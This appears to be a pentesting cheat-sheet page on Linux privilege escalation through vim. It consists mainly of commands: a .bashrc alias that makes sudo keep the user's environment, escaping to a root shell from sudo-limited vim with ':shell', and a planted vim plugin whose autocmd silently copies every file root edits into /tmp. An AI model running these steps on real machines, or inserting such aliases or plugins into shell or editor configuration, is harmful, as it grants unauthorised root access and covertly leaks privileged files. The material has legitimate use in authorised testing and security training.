> For the complete documentation index, see [llms.txt](https://blog.tyler-staut.cloud/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.tyler-staut.cloud/pentesting/privilege-escalation/linux/vim-tricks.md).

# VIM Tricks

This only works for Ubuntu and RHEL flavored distros, Debian uses a root users VIM configuration.

```bash
echo 'alias sudo="sudo -E"' >> .bashrc   ## This tells sudo to preserve the enviromnment 

## If a user has sudo permissions limited to vim it's possible priv esc to root.
sudo vim file_I_Have_Sudo_access_To.txt
:shell

## Copy any file they modify with VIM using elevated privs
mkdir -p ~/.vim/plugin
vi ~/.vim/plugin/settings.vim
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/output_vim.txt
:endif  ## save the file.
```
